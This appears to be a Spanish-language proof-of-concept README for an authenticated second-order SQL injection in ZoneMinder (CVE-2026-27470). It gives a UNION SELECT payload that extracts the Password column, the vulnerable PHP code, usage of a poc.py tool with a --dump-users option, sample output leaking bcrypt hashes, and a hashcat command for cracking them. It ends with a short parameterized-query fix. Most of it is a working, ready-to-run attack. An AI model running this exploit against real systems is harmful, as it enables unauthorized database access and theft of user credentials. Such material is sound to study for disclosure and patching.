POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -

// web/ajax/event.php — seguro ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1

// web/ajax/status.php ~línea 460 — VULNERABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← punto de inyección
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

pip install requests

-t, --target      URL del objetivo (p. ej. http://10.10.10.10:8080)
-u, --username    Nombre de usuario de ZoneMinder
-p, --password    Contraseña de ZoneMinder
--event-id        ID del evento a utilizar como portador de la inyección
--query           Consulta SQL personalizada a ejecutar
--dump-users      Volcar todos los nombres de usuario y hashes de contraseñas
--field           Campo de inyección: Name (predeterminado) o Cause
--no-restore      No restaurar el nombre del evento tras la explotación

# Comprobar la versión de la BD (prueba más sencilla)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Volcar todos los usuarios y hashes de contraseñas
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --dump-users

# Inyectar a través del campo Cause en lugar de Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Consulta personalizada
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC     ║
║   CVSS 8.8 | Authenticated | Events Permission           ║
╚══════════════════════════════════════════════════════════╝

[*] Target    : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.

[+] User count: 2

[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...

Atacante                      ZoneMinder                     MariaDB
   │                               │                              │
   │  POST /index.php              │                              │
   │  action=rename                │                              │
   │  eventName=<PAYLOAD>  ──────► │                              │
   │                               │  UPDATE Events SET Name=?  ──►│
   │                               │  (parameterized — safe)      │
   │                               │◄─────────────────────────────│
   │                               │                              │
   │  GET /index.php               │                              │
   │  entity=nearevents    ──────► │                              │
   │  sort_field=Name              │  SELECT * FROM Events WHERE  │
   │                               │  Id=?                      ──►│
   │                               │◄── Name = '<PAYLOAD>' ───────│
   │                               │                              │
   │                               │  builds SQL string:          │
   │                               │  WHERE Name >= '<PAYLOAD>'   │
   │                               │  (no escaping!)              │
   │                               │  UNION SELECT executes ────► │
   │                               │◄── credentials ──────────────│
   │◄── JSON with leaked data ─────│                              │

# Descifrar hashes obtenidos con hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

// Antes (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// Después (corregido)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);